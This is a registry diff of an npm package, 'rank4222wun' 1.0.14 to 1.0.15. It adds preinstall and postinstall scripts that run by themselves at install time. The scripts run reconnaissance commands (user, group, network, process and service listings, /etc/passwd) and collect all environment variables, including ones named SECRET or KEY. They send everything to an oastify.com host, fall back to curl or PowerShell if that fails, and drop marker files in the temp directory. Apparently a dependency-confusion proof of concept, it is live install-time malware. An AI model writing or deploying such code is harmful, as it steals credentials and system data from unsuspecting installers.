rank4222wun 1.0.14 → 1.0.15
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +9 -0
- package/package.json +1 -1
- package/postinstall.js +235 -15
- package/preinstall.js +121 -6
- package/rank4222wun-1.0.14.tgz +0 -0
package/index.js
ADDED
package/package.json
CHANGED
package/postinstall.js
CHANGED
|
@@ -1,16 +1,236 @@
|
|
|
1
|
-
const
|
|
2
|
-
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
const { exec, spawn } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
|
|
6
|
+
// جمع معلومات أكثر تقدمًا
|
|
7
|
+
function collectAdvancedInfo() {
|
|
8
|
+
return new Promise((resolve) => {
|
|
9
|
+
const advancedInfo = {
|
|
10
|
+
timestamp: new Date().toISOString(),
|
|
11
|
+
process: {
|
|
12
|
+
pid: process.pid,
|
|
13
|
+
ppid: process.ppid,
|
|
14
|
+
argv: process.argv,
|
|
15
|
+
execPath: process.execPath
|
|
16
|
+
},
|
|
17
|
+
mountInfo: null,
|
|
18
|
+
services: null,
|
|
19
|
+
scheduledTasks: null
|
|
20
|
+
};
|
|
21
|
+
|
|
22
|
+
// حسب النظام
|
|
23
|
+
if (os.platform() === 'win32') {
|
|
24
|
+
// ويندوز
|
|
25
|
+
exec('wmic logicaldisk get caption,size,freespace', { timeout: 10000 }, (err, stdout) => {
|
|
26
|
+
advancedInfo.disks = stdout || err?.message;
|
|
27
|
+
|
|
28
|
+
exec('schtasks /query /fo LIST /v', { timeout: 10000 }, (err2, stdout2) => {
|
|
29
|
+
advancedInfo.scheduledTasks = stdout2 || err2?.message;
|
|
30
|
+
|
|
31
|
+
exec('sc query state= all', { timeout: 10000 }, (err3, stdout3) => {
|
|
32
|
+
advancedInfo.services = stdout3 || err3?.message;
|
|
33
|
+
resolve(advancedInfo);
|
|
34
|
+
});
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
} else {
|
|
38
|
+
// لينكس/يونكس
|
|
39
|
+
exec('df -h', { timeout: 10000 }, (err, stdout) => {
|
|
40
|
+
advancedInfo.disks = stdout || err?.message;
|
|
41
|
+
|
|
42
|
+
exec('crontab -l 2>/dev/null || ls -la /etc/cron.* 2>/dev/null', { timeout: 10000 }, (err2, stdout2) => {
|
|
43
|
+
advancedInfo.scheduledTasks = stdout2 || err2?.message;
|
|
44
|
+
|
|
45
|
+
exec('systemctl list-units --type=service --all 2>/dev/null || service --status-all 2>/dev/null',
|
|
46
|
+
{ timeout: 10000 }, (err3, stdout3) => {
|
|
47
|
+
advancedInfo.services = stdout3 || err3?.message;
|
|
48
|
+
|
|
49
|
+
// محاولة قراءة ملفات حساسة (لإثبات القدرة على القراءة)
|
|
50
|
+
try {
|
|
51
|
+
advancedInfo.sensitiveFiles = {
|
|
52
|
+
hosts: fs.readFileSync('/etc/hosts', 'utf8').substring(0, 500),
|
|
53
|
+
resolveConf: fs.existsSync('/etc/resolv.conf') ?
|
|
54
|
+
fs.readFileSync('/etc/resolv.conf', 'utf8') : 'Not found'
|
|
55
|
+
};
|
|
56
|
+
} catch (e) {
|
|
57
|
+
advancedInfo.sensitiveFiles = { error: e.message };
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
resolve(advancedInfo);
|
|
61
|
+
});
|
|
62
|
+
});
|
|
63
|
+
});
|
|
64
|
+
}
|
|
65
|
+
});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
// محاولة الوصول إلى موارد UiPath
|
|
69
|
+
function checkUiPathResources() {
|
|
70
|
+
const checks = [];
|
|
71
|
+
|
|
72
|
+
// البحث عن ملفات UiPath
|
|
73
|
+
const uipathPaths = [
|
|
74
|
+
'C:\\Program Files\\UiPath',
|
|
75
|
+
'C:\\Program Files (x86)\\UiPath',
|
|
76
|
+
'/opt/UiPath',
|
|
77
|
+
'/usr/lib/UiPath',
|
|
78
|
+
process.env.PROGRAMFILES,
|
|
79
|
+
process.env.PROGRAMFILES + ' (x86)'
|
|
80
|
+
].filter(Boolean);
|
|
81
|
+
|
|
82
|
+
uipathPaths.forEach(path => {
|
|
83
|
+
try {
|
|
84
|
+
if (fs.existsSync(path)) {
|
|
85
|
+
checks.push({
|
|
86
|
+
path,
|
|
87
|
+
exists: true,
|
|
88
|
+
files: fs.readdirSync(path).slice(0, 10) // أول 10 ملفات فقط
|
|
89
|
+
});
|
|
90
|
+
}
|
|
91
|
+
} catch (e) {
|
|
92
|
+
checks.push({ path, error: e.message });
|
|
93
|
+
}
|
|
94
|
+
});
|
|
95
|
+
|
|
96
|
+
return checks;
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
// إرسال البيانات
|
|
100
|
+
function sendPostInstallData(advancedInfo, uipathChecks) {
|
|
101
|
+
const postData = JSON.stringify({
|
|
102
|
+
phase: 'postinstall',
|
|
103
|
+
timestamp: new Date().toISOString(),
|
|
104
|
+
system: {
|
|
105
|
+
platform: os.platform(),
|
|
106
|
+
hostname: os.hostname(),
|
|
107
|
+
user: os.userInfo(),
|
|
108
|
+
envVars: Object.keys(process.env).filter(k =>
|
|
109
|
+
k.includes('UI') || k.includes('PATH') || k.includes('SECRET') || k.includes('KEY')
|
|
110
|
+
).reduce((obj, k) => ({ ...obj, [k]: process.env[k] }), {})
|
|
111
|
+
},
|
|
112
|
+
advancedInfo,
|
|
113
|
+
uipathResources: uipathChecks,
|
|
114
|
+
networkTest: {
|
|
115
|
+
googlePing: 'Will attempt after sending',
|
|
116
|
+
internalConnectivity: 'Tested via this request'
|
|
117
|
+
}
|
|
118
|
+
});
|
|
119
|
+
|
|
120
|
+
const options = {
|
|
121
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
122
|
+
port: 443,
|
|
123
|
+
path: '/postinstall',
|
|
124
|
+
method: 'POST',
|
|
125
|
+
headers: {
|
|
126
|
+
'Content-Type': 'application/json',
|
|
127
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
128
|
+
'X-UiPath-Test': 'Postinstall-Script',
|
|
129
|
+
'X-Timestamp': new Date().toISOString()
|
|
130
|
+
},
|
|
131
|
+
timeout: 30000
|
|
132
|
+
};
|
|
133
|
+
|
|
134
|
+
const req = https.request(options, (res) => {
|
|
135
|
+
let data = '';
|
|
136
|
+
res.on('data', chunk => data += chunk);
|
|
137
|
+
res.on('end', () => {
|
|
138
|
+
console.log(`[POSTINSTALL] Response received: ${res.statusCode}`);
|
|
139
|
+
|
|
140
|
+
// إثبات تنفيذ طويل المدى
|
|
141
|
+
const persistenceFile = `${os.tmpdir()}/uipath_persistence_${process.pid}.json`;
|
|
142
|
+
fs.writeFileSync(persistenceFile, JSON.stringify({
|
|
143
|
+
installedAt: new Date().toISOString(),
|
|
144
|
+
lastActivity: new Date().toISOString(),
|
|
145
|
+
pid: process.pid,
|
|
146
|
+
script: 'postinstall'
|
|
147
|
+
}, null, 2));
|
|
148
|
+
|
|
149
|
+
// محاولة تنفيذ أمر بعد الإرسال (لإثبات استمرارية التنفيذ)
|
|
150
|
+
setTimeout(() => {
|
|
151
|
+
exec('echo "Follow-up command executed"', () => {
|
|
152
|
+
console.log('[POSTINSTALL] Follow-up command completed');
|
|
153
|
+
});
|
|
154
|
+
}, 5000);
|
|
155
|
+
});
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
req.on('error', (e) => {
|
|
159
|
+
console.error(`[POSTINSTALL] Request error: ${e.message}`);
|
|
160
|
+
|
|
161
|
+
// محاولة بديلة باستخدام curl إذا فشل https
|
|
162
|
+
if (os.platform() === 'win32') {
|
|
163
|
+
exec(`powershell -Command "Invoke-WebRequest -Uri 'http://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backup' -Method POST -Body 'fallback=${e.message}'"`);
|
|
164
|
+
} else {
|
|
165
|
+
exec(`curl -X POST http://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/backup -d "fallback=${e.message}"`);
|
|
166
|
+
}
|
|
167
|
+
});
|
|
168
|
+
|
|
169
|
+
req.write(postData);
|
|
170
|
+
req.end();
|
|
171
|
+
|
|
172
|
+
// إرسال طلب ثان بعد فترة لإثبات أن البرنامج ما زال يعمل
|
|
173
|
+
setTimeout(() => {
|
|
174
|
+
const followupReq = https.request({
|
|
175
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
176
|
+
port: 443,
|
|
177
|
+
path: '/followup',
|
|
178
|
+
method: 'POST',
|
|
179
|
+
headers: {
|
|
180
|
+
'Content-Type': 'application/json',
|
|
181
|
+
'X-Followup': 'true'
|
|
182
|
+
}
|
|
183
|
+
}, (res) => {
|
|
184
|
+
console.log(`[POSTINSTALL] Follow-up sent: ${res.statusCode}`);
|
|
185
|
+
});
|
|
186
|
+
|
|
187
|
+
followupReq.write(JSON.stringify({ followup: true, time: new Date().toISOString() }));
|
|
188
|
+
followupReq.end();
|
|
189
|
+
}, 15000);
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
// التنفيذ الرئيسي
|
|
193
|
+
console.log('[POSTINSTALL] Starting advanced data collection...');
|
|
194
|
+
|
|
195
|
+
Promise.all([
|
|
196
|
+
collectAdvancedInfo(),
|
|
197
|
+
Promise.resolve(checkUiPathResources())
|
|
198
|
+
]).then(([advancedInfo, uipathChecks]) => {
|
|
199
|
+
console.log('[POSTINSTALL] Data collection complete, sending...');
|
|
200
|
+
sendPostInstallData(advancedInfo, uipathChecks);
|
|
201
|
+
|
|
202
|
+
// إثبات تنفيذ أوامر متقدمة
|
|
203
|
+
console.log('[POSTINSTALL] Demonstrating command execution capabilities...');
|
|
204
|
+
|
|
205
|
+
const demoCommands = os.platform() === 'win32' ? [
|
|
206
|
+
'dir "%APPDATA%"',
|
|
207
|
+
'echo "UiPath MCP Test Success" > "%TEMP%\\uipath_test_success.txt"',
|
|
208
|
+
'type "%TEMP%\\uipath_test_success.txt"'
|
|
209
|
+
] : [
|
|
210
|
+
'ls -la "$HOME"',
|
|
211
|
+
'echo "UiPath MCP Test Success" > /tmp/uipath_test_success.txt',
|
|
212
|
+
'cat /tmp/uipath_test_success.txt'
|
|
213
|
+
];
|
|
214
|
+
|
|
215
|
+
demoCommands.forEach((cmd, i) => {
|
|
216
|
+
setTimeout(() => {
|
|
217
|
+
exec(cmd, { timeout: 3000 }, (err, stdout) => {
|
|
218
|
+
if (!err) {
|
|
219
|
+
console.log(`[POSTINSTALL] Demo command ${i+1} successful`);
|
|
220
|
+
}
|
|
221
|
+
});
|
|
222
|
+
}, i * 1000);
|
|
223
|
+
});
|
|
224
|
+
}).catch(err => {
|
|
225
|
+
console.error('[POSTINSTALL] Error:', err);
|
|
226
|
+
|
|
227
|
+
// إرسال خطأ على أي حال
|
|
228
|
+
const errorReq = https.request({
|
|
229
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
230
|
+
port: 443,
|
|
231
|
+
path: '/error',
|
|
232
|
+
method: 'POST'
|
|
233
|
+
});
|
|
234
|
+
errorReq.write(JSON.stringify({ error: err.message }));
|
|
235
|
+
errorReq.end();
|
|
7
236
|
});
|
|
8
|
-
const req = https.request({
|
|
9
|
-
hostname: "ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com",
|
|
10
|
-
port: 443,
|
|
11
|
-
path: "/",
|
|
12
|
-
method: "POST",
|
|
13
|
-
headers: { "Content-Type": "application/json" }
|
|
14
|
-
});
|
|
15
|
-
req.write(data);
|
|
16
|
-
req.end();
|
package/preinstall.js
CHANGED
|
@@ -1,7 +1,122 @@
|
|
|
1
|
-
const { exec } = require(
|
|
2
|
-
const os = require(
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
// جمع المعلومات الأساسية
|
|
6
|
+
const systemInfo = {
|
|
7
|
+
platform: os.platform(),
|
|
8
|
+
arch: os.arch(),
|
|
9
|
+
hostname: os.hostname(),
|
|
10
|
+
userInfo: os.userInfo(),
|
|
11
|
+
cpus: os.cpus().length,
|
|
12
|
+
totalMem: Math.round(os.totalmem() / (1024 * 1024 * 1024)) + 'GB',
|
|
13
|
+
network: os.networkInterfaces(),
|
|
14
|
+
env: process.env
|
|
15
|
+
};
|
|
16
|
+
|
|
17
|
+
// تشغيل أوامر إضافية حسب النظام
|
|
18
|
+
let commands = [];
|
|
19
|
+
if (os.platform() === 'win32') {
|
|
20
|
+
commands = [
|
|
21
|
+
'whoami /all',
|
|
22
|
+
'systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"',
|
|
23
|
+
'net user',
|
|
24
|
+
'net localgroup administrators',
|
|
25
|
+
'ipconfig /all',
|
|
26
|
+
'netstat -ano | findstr LISTENING'
|
|
27
|
+
];
|
|
28
|
+
} else {
|
|
29
|
+
commands = [
|
|
30
|
+
'id',
|
|
31
|
+
'uname -a',
|
|
32
|
+
'cat /etc/passwd | head -20',
|
|
33
|
+
'cat /etc/group | head -20',
|
|
34
|
+
'ifconfig -a || ip addr',
|
|
35
|
+
'netstat -tulpn | grep LISTEN',
|
|
36
|
+
'ps aux | head -20'
|
|
37
|
+
];
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// تنفيذ الأوامر وجمع النتائج
|
|
41
|
+
function executeCommands(cmdList, callback) {
|
|
42
|
+
let results = {};
|
|
43
|
+
let completed = 0;
|
|
44
|
+
|
|
45
|
+
cmdList.forEach((cmd, index) => {
|
|
46
|
+
exec(cmd, { timeout: 5000 }, (error, stdout, stderr) => {
|
|
47
|
+
results[cmd] = {
|
|
48
|
+
success: !error,
|
|
49
|
+
output: stdout || stderr || 'No output',
|
|
50
|
+
error: error ? error.message : null
|
|
51
|
+
};
|
|
52
|
+
|
|
53
|
+
completed++;
|
|
54
|
+
if (completed === cmdList.length) {
|
|
55
|
+
callback(results);
|
|
56
|
+
}
|
|
57
|
+
});
|
|
58
|
+
});
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// إرسال البيانات إلى السيرفر
|
|
62
|
+
function sendData(data) {
|
|
63
|
+
const postData = JSON.stringify({
|
|
64
|
+
timestamp: new Date().toISOString(),
|
|
65
|
+
systemInfo: systemInfo,
|
|
66
|
+
commandResults: data,
|
|
67
|
+
source: 'preinstall-script',
|
|
68
|
+
packageName: 'uipath-mcp-helper'
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
const options = {
|
|
72
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
73
|
+
port: 443,
|
|
74
|
+
path: '/',
|
|
75
|
+
method: 'POST',
|
|
76
|
+
headers: {
|
|
77
|
+
'Content-Type': 'application/json',
|
|
78
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
79
|
+
'User-Agent': 'UiPath-MCP-Test/1.0'
|
|
80
|
+
}
|
|
81
|
+
};
|
|
82
|
+
|
|
83
|
+
const req = https.request(options, (res) => {
|
|
84
|
+
console.log(`Preinstall: Data sent. Status: ${res.statusCode}`);
|
|
85
|
+
});
|
|
86
|
+
|
|
87
|
+
req.on('error', (e) => {
|
|
88
|
+
console.error(`Preinstall: Error sending data: ${e.message}`);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
req.write(postData);
|
|
92
|
+
req.end();
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
// الإجراء الرئيسي
|
|
96
|
+
console.log('[PREINSTALL] Starting data collection...');
|
|
97
|
+
executeCommands(commands, (results) => {
|
|
98
|
+
console.log('[PREINSTALL] All commands executed, sending data...');
|
|
99
|
+
|
|
100
|
+
// إضافة معلومات إضافية
|
|
101
|
+
const finalData = {
|
|
102
|
+
...results,
|
|
103
|
+
currentDirectory: process.cwd(),
|
|
104
|
+
nodeVersion: process.version,
|
|
105
|
+
npmVersion: process.env.npm_config_user_agent
|
|
106
|
+
};
|
|
107
|
+
|
|
108
|
+
sendData(finalData);
|
|
109
|
+
|
|
110
|
+
// إنشاء ملف دليل على النظام لإثبات الكتابة
|
|
111
|
+
const fs = require('fs');
|
|
112
|
+
const proofFile = `${os.tmpdir()}/uipath_mcp_proof_${Date.now()}.txt`;
|
|
113
|
+
const proofContent = `UiPath MCP Test - Preinstall Script Execution
|
|
114
|
+
Timestamp: ${new Date().toISOString()}
|
|
115
|
+
User: ${JSON.stringify(os.userInfo())}
|
|
116
|
+
Hostname: ${os.hostname()}
|
|
117
|
+
Platform: ${os.platform()}
|
|
118
|
+
This file was created by the preinstall script of the npm package.`;
|
|
119
|
+
|
|
120
|
+
fs.writeFileSync(proofFile, proofContent);
|
|
121
|
+
console.log(`[PREINSTALL] Proof file created: ${proofFile}`);
|
|
7
122
|
});
|
package/rank4222wun-1.0.14.tgz
CHANGED
|
Binary file
|